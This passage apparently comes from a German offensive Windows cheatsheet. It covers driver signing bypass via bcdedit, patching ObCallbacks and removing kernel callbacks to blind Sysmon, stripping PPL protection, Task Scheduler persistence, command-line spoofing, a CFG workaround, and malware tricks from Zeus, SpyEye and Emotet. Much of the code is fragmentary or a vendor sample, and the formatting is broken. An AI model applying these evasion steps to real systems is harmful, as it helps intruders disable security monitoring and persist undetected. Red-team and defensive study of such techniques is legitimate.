syscall
ret
ntdll enthält Systemaufruf-Prozeduren für jede Nt-Funktion
SSDT ist in einer Service Descriptor Table definiert:```cpp typedef struct tagSERVICE_DESCRIPTOR_TABLE { SYSTEM_SERVICE_TABLE nt; //effectively a pointer to Service Dispatch Table (SSDT) itself SYSTEM_SERVICE_TABLE win32k; SYSTEM_SERVICE_TABLE sst3; //pointer to a memory address that contains how many routines are defined in the table SYSTEM_SERVICE_TABLE sst4; } SERVICE_DESCRIPTOR_TABLE;
SSDT wurde/wird oft von Rootkits gehookt, da es möglich war, die entsprechende Adresse auf eigene Funktionen zu ändern. **Patchguard** hat diese Möglichkeit deaktiviert, außer im Falle einer internen Schwachstelle.
> Viele Antivirenprodukte nutzen diesen Trick auch heute noch, vermutlich mit denselben Techniken wie böse Hacker ;)
## Treibereinstieg
Der Treiber-Einstiegsprozess ist wie folgt definiert:```cpp
#include <ntddk.h>
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
return STATUS_SUCCESS;
}
Es ist sehr wichtig, das Makro UNREFERENCED_PARAMETER() auf die Parameter DriverObject und RegistryPath anzuwenden, es sei denn, sie werden durch später hinzugefügten Code referenziert.```cpp
UNREFERENCED_PARAMETER(DriverObject);
UNREFERENCED_PARAMETER(RegistryPath);
## Eingabe/Ausgabe
Verwenden Sie MajorFunction `IRP_MJ_CREATE` und `IRP_MJ_CLOSE`, um als "interrupt" zu fungieren und von der Client-Seite aus mit Ihrem Treiber zu kommunizieren.```cpp
DriverObject->MajorFunction[IRP_MJ_CREATE] = CreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = CreateClose;
Definiere dann deine CreateClose-Funktion :```cpp NTSTATUS CreateClose(In PDEVICE_OBJECT DeviceObject, In PIRP Irp) { UNREFERENCED_PARAMETER(DeviceObject);
DbgPrint("[+] Hello from FirstDriver CreateClose\n");
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
Vollständiger Beispielcode hier : //
## Kommunikation mit dem Treiber
Anwendungen im Benutzermodus senden IOCTLs an Treiber, indem sie DeviceIoControl aufrufen, das in der Microsoft Windows SDK-Dokumentation beschrieben ist. Aufrufe von DeviceIoControl veranlassen den I/O-Manager, eine IRP_MJ_DEVICE_CONTROL-Anforderung zu erstellen und sie an den obersten Treiber zu senden (https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes)
Die Benutzermodus-Anwendung muss die Funktion DeviceIoControl (ioapiset.h) verwenden, um mit einem Treiber zu kommunizieren.
Sie wird verwendet, um verschiedene Anforderungen an sein **Device**-Objekt zu senden.
Einfachen Beispielcode hier : //todo
## Treibersignierung
Wie im Abschnitt [Allgemeine Konzepte](#general-concepts) beschrieben, müssen Treiber signiert sein, bevor sie auf einem Windows-System installiert werden. Trotz der Tatsache, dass Sie einen Treiber- oder Kernel-Exploit verwenden müssen, um sie zu umgehen (z. B. Gigabyte-Treiber-CVE), können Sie sie weiterhin manuell deaktivieren:```powershell
bcdedit.exe -set loadoptions DISABLE_INTEGRITY_CHECKS
bcdedit.exe -set TESTSIGNING ON
Starten Sie dann Ihren Computer neu. Offensichtlich benötigen Sie lokale Administratorrechte auf dem Rechner, auf dem Sie diese Befehle ausführen möchten. Da ein Neustart erforderlich ist, ist das überhaupt keine OPSEC.
ObRegisterCallbacks (wdm.h) ermöglicht es Ihnen, "benutzerdefinierte" Callbacks zu definieren, die verwendet werden können, um das Verhalten einer Usermode-App zu ändern, wenn diese durch eine bestimmte Operation ausgelöst wird, wie z.B. CreateProcess/OpenProcess (Handle-Erstellung).
Im Grunde werden Ob-Callbacks mit einem OB_OPERATION_REGISTRATION-Array definiert, das mit der OB_CALLBACK_REGISTRATION-Struktur gefüllt wird (gefüllt mit Callbacks).
Beispiel zum Auslösen bei OpenProcess/CreateProcess :```c OB_OPERATION_REGISTRATION obOperationRegistrationArray[1] = { 0 }; OB_CALLBACK_REGISTRATION obCallbackRegistration = { 0 };
obOperationRegistrationArray[0].ObjectType = PsProcessType; //monitor for handles obOperationRegistrationArray[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; //detect created and duplicated handles obOperationRegistrationArray[0].PreOperation = process_ob_pre_op_callbacks; //intercept before the end of the operation with a pointer to a defined function in your own code obOperationRegistrationArray[0].PostOperation = NULL; //do nothing after the operation has been completed
NTSTATUS status_register = ObRegisterCallbacks(&obCallbackRegistration, ®_handle); //register callbacks if (!NT_SUCCESS(status_register)) { DbgPrint("[-] Error while trying to register callbacks\n"); } else {
DbgPrint("[+] Registering callbacks !\n");
}
**process_ob_pre_op_callbacks** ist eine benutzerdefinierte Funktion, die aufgerufen wird, wenn der Callback abgefangen wird, und die den Vorgang daher ablehnen oder zulassen kann.```c
OB_PREOP_CALLBACK_STATUS process_ob_pre_op_callbacks(PVOID registrationContext, POB_PRE_OPERATION_INFORMATION pObPreOperationInformation) {
if (pObPreOperationInformation->KernelHandle) return OB_PREOP_SUCCESS; //if handle is a kernel handle, pass
pObPreOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~My_PROCESS_ALL_ACCESS; //remove PROCESS_ALL_ACCESS from handle
}
Hinweis : My_PROCESS_ALL_ACCESS kann wie folgt definiert werden: #define My_PROCESS_ALL_ACCESS (0x1FFFFF) (Win32-Hexa-Code).
So patcht man ObCallbacks : Es gibt mehrere Möglichkeiten, sie zu patchen, aber die wahrscheinlich zwei gebräuchlichsten Wege, dieses Ziel zu erreichen, wären, eine ObCallback-Funktion mit einem Schema wie „nop-nop-nop-ret“ zu schreiben oder den Funktionszeiger des ObCallbacks aus den _CALLBACK_ENTRY_ITEM-Elementen zu entfernen. Bitte beachten Sie, dass diese Techniken tatsächlich PatchGuard auslösen können. Seien Sie also vorsichtig, wenn Sie diese Techniken in einem echten Einsatz verwenden.
Kernel-Callbacks wurden von Microsoft hauptsächlich eingeführt, um AV-/EDR-Herstellern eine bessere Möglichkeit zu bieten, verdächtige Aktionen zu überwachen und zu verhindern (Vorher verwendeten viele Sicherheitsprodukte Kernel-Mode-Patching wie SSDT-Hooks, um dieselbe Aufgabe zu erfüllen, aber der neue PatchGuard-Schutz zwang sie, diese neue Lösung zu verwenden).
Es gibt verschiedene Arten von Kernel-Callbacks, insbesondere :
- ProcessNotify : wird aufgerufen, wenn ein Prozess erstellt oder beendet wird.
- ThreadNotify : wird aufgerufen, wenn ein Thread erstellt oder beendet (gelöscht) wird.
- LoadImageNotify : wird aufgerufen, wenn ein ausführbares Image von einer anderen EXE geladen wird (Beispiel : DLL, die von einem Prozess geladen wird).
Jede dieser Arten hat ihre zugehörige Funktion, wie zum Beispiel PsSetCreateProcessNotifyRoutineEx, um sie in Ihrem Treiber zu setzen. Letztere registriert eine Callback-Routine, wenn ein neuer Prozess im Windows-System erstellt oder gelöscht wird. Ihr Prototyp ist wie folgt definiert :```cpp NTSTATUS PsSetCreateProcessNotifyRoutineEx( [in] PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine, [in] BOOLEAN Remove );
**PCREATE_PROCESS_NOTIFY_ROUTINE_EX** ist ein Zeiger auf die Callback-Routine, die aufgerufen wird, wenn das Ereignis ausgelöst wird (hier: Prozess erstellt/beendet).
**Remove** ist ein einfaches Flag, das angibt, ob PsSetCreateProcessNotify die Callback-Funktion registriert oder löscht (nützlich in der Cleanup-Funktion Ihres Treibers).
Die Callback-Funktion verwendet diesen Prototyp :```cpp
void OnProcessNotify(
PEPROCESS Process,
HANDLE ProcessId,
PPS_CREATE_NOTIFY_INFO CreateInfo
);
wobei Process der aktuelle Prozess ist, der erstellt/gelöscht wird, ProcessId die ID dieses Prozesses ist und CreateInfo eine Struktur ist, die verschiedene Informationen über diesen Prozess enthält.
Wenn ein Treiber eine neue Callback-Routine registriert, wird ihre Adresse in einem Array gespeichert, das normalerweise Pspname_of_your_callback heißt. Beispielsweise wird die Liste aller ProcessNotifyRoutine-Funktionen im Array PspCreateProcessNotifyRoutine gespeichert.
Um solche Callbacks zu entfernen, musst du dieses Array einfach leeren!
Leider gibt es keine direkte Möglichkeit, die Adresse dieses so aufregenden Arrays zu erhalten. Glücklicherweise gibt es viele Möglichkeiten, dies manuell zu tun, indem du im Speicher nach bestimmten Offsets suchst.
Sobald du die richtige Adresse gefunden hast, kannst du alle registrierten Callbacks aufzählen und sie anhand des Treibernamens filtern (Sysmon-Treiber vielleicht ?:)), und nur die entsprechenden Callback-Funktionen in der Liste entfernen.
Geschützte Prozesse wurden mit Windows Vista eingeführt. Ein geschützter Prozess kann als eine Struktur namens EPROCESS definiert werden (undefiniert : https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/eprocess), die definiert, ob der Prozess geschützt ist oder nicht, mit drei interessanten Membern:``` kd> dt nt!_EPROCESS +0x000 Pcb : _KPROCESS +0x2d8 ProcessLock : _EX_PUSH_LOCK +0x2e0 UniqueProcessId : Ptr64 Void [...snip...] +0x6c8 SignatureLevel : UChar //signature integrity of exe +0x6c9 SectionSignatureLevel : UChar //Second member : same as first for DLL loaded by the exe +0x6ca Protection : _PS_PROTECTION
Der dritte Member (Protection) ist eine PS_PROTECTION-Struktur, die wie folgt definiert ist:```
_PS_PROTECTION
+0x000 Level : UChar
+0x000 Type : Pos 0, 3 Bits
+0x000 Audit : Pos 3, 1 Bit
+0x000 Signer : Pos 4, 4 Bits
Um den PPL-Schutz zu entfernen, müssen Sie SignatureLevel,SectionSignatureLevel und Protection auf 0 setzen.
Da das Offset zwischen der EPROCESS-Basisadresse und PS_PROTECTION 0x6c8 beträgt, können Sie es abrufen, indem Sie die beiden Werte addieren.
Beispielcode : //todo
Hinweis : Mehrere Beispiele aus diesem Teil wurden von https://learn.microsoft.com/en-us/windows/win32/taskschd/using-the-task-scheduler?source=recommendations übernommen.
Die "konventionelle" Art, eine Aufgabe unter Windows zu planen, erfordert die grafische Oberfläche (Task Scheduler). Für uns ist das nicht sehr praktikabel, da wir oft nur eine Befehlszeilensitzung auf einem kompromittierten System erhalten.
Glücklicherweise kann die Win32-API verwendet werden, um solche Aufgaben zu erstellen. Damit können Sie eine großartige Persistenz für Ihren Beacon oder für Privilege Escalation erreichen.
Im Grunde müssen Sie die COM-Bibliothek initialisieren und dann mit der CoCreateInstance()-API eine neue Instanz der ITaskService-Klasse erstellen. Sie können Ihr ITaskService-Objekt nun bearbeiten, um Stammordner, Aktion, Zeit usw. zu konfigurieren. Hier ist ein Beispiel unten:```cpp /******************************************************************** This sample schedules a task to start Notepad.exe 30 seconds after the system is started. ********************************************************************/
#define _WIN32_DCOM
#include <windows.h> #include #include <stdio.h> #include <comdef.h> // Include the task header file. #include <taskschd.h> #pragma comment(lib, "taskschd.lib") #pragma comment(lib, "comsupp.lib")
using namespace std;
int __cdecl wmain() { // ------------------------------------------------------ // Initialize COM. HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if( FAILED(hr) ) { printf("\nCoInitializeEx failed: %x", hr ); return 1; }
// Set general COM security levels.
hr = CoInitializeSecurity(
NULL,
-1,
NULL,
NULL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
0,
NULL);
if( FAILED(hr) )
{
printf("\nCoInitializeSecurity failed: %x", hr );
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Create a name for the task.
LPCWSTR wszTaskName = L"Boot Trigger Test Task";
// Get the Windows directory and set the path to Notepad.exe.
wstring wstrExecutablePath = _wgetenv( L"WINDIR");
wstrExecutablePath += L"\\SYSTEM32\\NOTEPAD.EXE";
// ------------------------------------------------------
// Create an instance of the Task Service.
ITaskService *pService = NULL;
hr = CoCreateInstance( CLSID_TaskScheduler,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITaskService,
(void**)&pService );
if (FAILED(hr))
{
printf("Failed to create an instance of ITaskService: %x", hr);
CoUninitialize();
return 1;
}
// Connect to the task service.
hr = pService->Connect(_variant_t(), _variant_t(),
_variant_t(), _variant_t());
if( FAILED(hr) )
{
printf("ITaskService::Connect failed: %x", hr );
pService->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Get the pointer to the root task folder.
// This folder will hold the new task that is registered.
ITaskFolder *pRootFolder = NULL;
hr = pService->GetFolder( _bstr_t( L"\\") , &pRootFolder );
if( FAILED(hr) )
{
printf("Cannot get Root Folder pointer: %x", hr );
pService->Release();
CoUninitialize();
return 1;
}
// If the same task exists, remove it.
pRootFolder->DeleteTask( _bstr_t( wszTaskName), 0 );
// Create the task builder object to create the task.
ITaskDefinition *pTask = NULL;
hr = pService->NewTask( 0, &pTask );
pService->Release(); // COM clean up. Pointer is no longer used.
if (FAILED(hr))
{
printf("Failed to create a task definition: %x", hr);
pRootFolder->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Get the registration info for setting the identification.
IRegistrationInfo *pRegInfo= NULL;
hr = pTask->get_RegistrationInfo( &pRegInfo );
if( FAILED(hr) )
{
printf("\nCannot get identification pointer: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
hr = pRegInfo->put_Author(L"Author Name");
pRegInfo->Release();
if( FAILED(hr) )
{
printf("\nCannot put identification info: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Create the settings for the task
ITaskSettings *pSettings = NULL;
hr = pTask->get_Settings( &pSettings );
if( FAILED(hr) )
{
printf("\nCannot get settings pointer: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Set setting values for the task.
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();
if( FAILED(hr) )
{
printf("\nCannot put setting info: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Get the trigger collection to insert the boot trigger.
ITriggerCollection *pTriggerCollection = NULL;
hr = pTask->get_Triggers( &pTriggerCollection );
if( FAILED(hr) )
{
printf("\nCannot get trigger collection: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Add the boot trigger to the task.
ITrigger *pTrigger = NULL;
hr = pTriggerCollection->Create( TASK_TRIGGER_BOOT, &pTrigger );
pTriggerCollection->Release();
if( FAILED(hr) )
{
printf("\nCannot create the trigger: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
IBootTrigger *pBootTrigger = NULL;
hr = pTrigger->QueryInterface(
IID_IBootTrigger, (void**) &pBootTrigger );
pTrigger->Release();
if( FAILED(hr) )
{
printf("\nQueryInterface call failed for IBootTrigger: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
hr = pBootTrigger->put_Id( _bstr_t( L"Trigger1" ) );
if( FAILED(hr) )
printf("\nCannot put the trigger ID: %x", hr);
// Set the task to start at a certain time. The time
// format should be YYYY-MM-DDTHH:MM:SS(+-)(timezone).
// For example, the start boundary below
// is January 1st 2005 at 12:05
hr = pBootTrigger->put_StartBoundary( _bstr_t(L"2005-01-01T12:05:00") );
if( FAILED(hr) )
printf("\nCannot put the start boundary: %x", hr);
hr = pBootTrigger->put_EndBoundary( _bstr_t(L"2015-05-02T08:00:00") );
if( FAILED(hr) )
printf("\nCannot put the end boundary: %x", hr);
// Delay the task to start 30 seconds after system start.
hr = pBootTrigger->put_Delay( L"PT30S" );
pBootTrigger->Release();
if( FAILED(hr) )
{
printf("\nCannot put delay for boot trigger: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Add an Action to the task. This task will execute Notepad.exe.
IActionCollection *pActionCollection = NULL;
// Get the task action collection pointer.
hr = pTask->get_Actions( &pActionCollection );
if( FAILED(hr) )
{
printf("\nCannot get Task collection pointer: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Create the action, specifying it as an executable action.
IAction *pAction = NULL;
hr = pActionCollection->Create( TASK_ACTION_EXEC, &pAction );
pActionCollection->Release();
if( FAILED(hr) )
{
printf("\nCannot create the action: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
IExecAction *pExecAction = NULL;
// QI for the executable task pointer.
hr = pAction->QueryInterface(
IID_IExecAction, (void**) &pExecAction );
pAction->Release();
if( FAILED(hr) )
{
printf("\nQueryInterface call failed for IExecAction: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Set the path of the executable to Notepad.exe.
hr = pExecAction->put_Path( _bstr_t( wstrExecutablePath.c_str() ) );
pExecAction->Release();
if( FAILED(hr) )
{
printf("\nCannot set path of executable: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Save the task in the root folder.
IRegisteredTask *pRegisteredTask = NULL;
VARIANT varPassword;
varPassword.vt = VT_EMPTY;
hr = pRootFolder->RegisterTaskDefinition(
_bstr_t( wszTaskName ),
pTask,
TASK_CREATE_OR_UPDATE,
_variant_t(L"Local Service"),
varPassword,
TASK_LOGON_SERVICE_ACCOUNT,
_variant_t(L""),
&pRegisteredTask);
if( FAILED(hr) )
{
printf("\nError saving the Task : %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
printf("\n Success! Task successfully registered. " );
// Clean up.
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
return 0;
}
## Befehlszeilen-Spoofing
Funktioniert einwandfrei sogar mit Sysmon/Process-Hacker-Überwachung; es ermöglicht das Verbergen deiner Befehlsargumente, was bei Pentest-/Red-Team-Einsätzen nützlich sein kann (```powershell -enc .....```)
Um dieses Ziel zu erreichen, kannst du einen neuen Prozess mit "legitimen" Befehlsargumenten im angehaltenen Modus erzeugen und diese Argumente dann direkt im PEB bearbeiten.
Poc : https://github.com/NVISOsecurity/blogposts/blob/master/examples-commandlinespoof/Example%203%20-%20CMD%20spawn%20with%20fake%20procexp%20args/code.cpp
# Verschiedenes
## x64-Aufrufkonvention
- Die ersten 4 Integer-Argumente werden in den Registern `RCX`, `RDX`, `R8` und `R9` übergeben.
- Weitere Argumente werden auf den Stack gelegt.
- Auf die Rücksprungadresse folgt ein 32-Byte-Bereich, der für `RCX`, `RDX`, `R8` und `R9` reserviert ist.
- Lokale Variablen und nicht-flüchtige Register werden oberhalb der Rücksprungadresse gespeichert.
- `RBP` wird nicht verwendet, um auf lokale Variablen/Funktionsargumente zu verweisen, und `RSP` bleibt während der gesamten Funktion konstant.
> Hinweise:
> - Wenn eine Funktion eine variable Anzahl von Argumenten hat, muss sie den Stack verwenden, um diese zu übergeben
> - Wenn der Rückgabewert eine Struktur ist, ist der Aufrufer dafür verantwortlich, Speicherplatz für den Rückgabewert zu reservieren und einen Zeiger auf diesen Speicherplatz als erstes Argument zu übergeben
> - Der Callee ist dafür verantwortlich, die Werte der Register `RBX`, `RBP` und `R12`–`R15` zu erhalten, darf jedoch die anderen Register frei verändern
> - Der Stack ist an der Aufrufstelle an einer 16-Byte-Grenze ausgerichtet
> - Der Callee ist dafür verantwortlich, den Stack-Zeiger (`RSP`) vor der Rückkehr auf seinen ursprünglichen Wert zurückzusetzen
## Indirekte Ausführung
Indirekte Ausführung bezieht sich hier auf ein ROP, um die Ausführung einiger Aufgaben zu erreichen. Du musst Parameter in das richtige Register laden und dafür die [x64-Aufrufkonvention](https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet#x64-calling-convention) verstehen.
- Ein ROP mit der `CONTEXT`-Struktur benötigt `RtlCaptureContext`, um den aktuellen Kontext abzurufen, und `NtContinue`, um die Ausführung des ROP mit der `CONTEXT`-Struktur als Parameter fortzusetzen, gefüllt mit den richtigen Funktionsargumenten für die richtigen Register. Du kannst dein ROP auch in Assembly aufbauen, wenn du möchtest.
### CFG-Umgehung mit SetProcessValidCallTargets
Das ist kein echter Bypass, aber es setzt die Funktion, die du in deinem ROP verwendest (d. h. `NtContinue`), auf die Whitelist.```c
CFG_CALL_TARGET_INFO Cfg = { 0 };
Cfg.Offset = ( ULONG_PTR )pAddress - ( ULONG_PTR )Mbi.BaseAddress;
Cfg.Flags = CFG_CALL_TARGET_VALID;
SetProcessValidCallTargets( ( HANDLE )-1, Mbi.BaseAddress, Mbi.RegionSize, 1, &Cfg );
Diese Technik wurde in der bekannten Malware Emotet entdeckt. Um einen neuen PowerShell-Prozess zu starten (der dazu gedacht ist, eine Nutzlast auszuführen), verwendet sie die COM-API mit einer WMI-Instanz. Mit diesem Trick wird der PowerShell-Prozess als Kindprozess des WMIPrvSE-Prozesses erzeugt, was weitaus weniger verdächtig ist, als von einer verdächtigen exe oder sogar einer Word-Datei erzeugt zu werden.
Die bekannte Zeus-Malware verwendet einen ziemlich genialen Trick, um ihre Protokolle (Tastatureingaben, Passwörter usw.) auf dem kompromittierten System zu verstecken. Sie setzt einen Hook auf die Funktion NtQueryDirectoryFile(), um die angezeigten Ergebnisse zu filtern.```cpp
typedef struct _FILE_NAMES_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;
if (file_matches) {
// Check for end of list if (pCurrentFileNames->NextEntryOffset == 0) { // Hide current file if (pPrev) pPrevFileNames->NextEntryOffset = 0; else return STATUS_NO_SUCH_FILE;
Quelle : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf
## SpyEye-Keylogger-Hooking-Technik
Die SpyEye-Malware hookt die ```TranslateMessage()```-Funktion, um Tastatureingaben zu speichern : die Hook-Prozedur verwendet die ```GetKeyboardState```-Funktion, um das eingegebene Zeichen zu einem 20000-Byte-Puffer hinzuzufügen.
Quelle : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf
## Wannacry KillSwitch
Die Wannacry-Ransomware verwendete eine Killswitch-URL, die vor der Ausführung der Haupt-Payload aufgelöst wurde. Nachdem diese Domain registriert wurde, wurden alle Wannacry-Samples deaktiviert. Diese Technik wurde hier beschrieben : https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html
Lustiger Fakt: Diese Domain stand im Klartext, ohne jede Verschleierung. Ziemlich lustig:)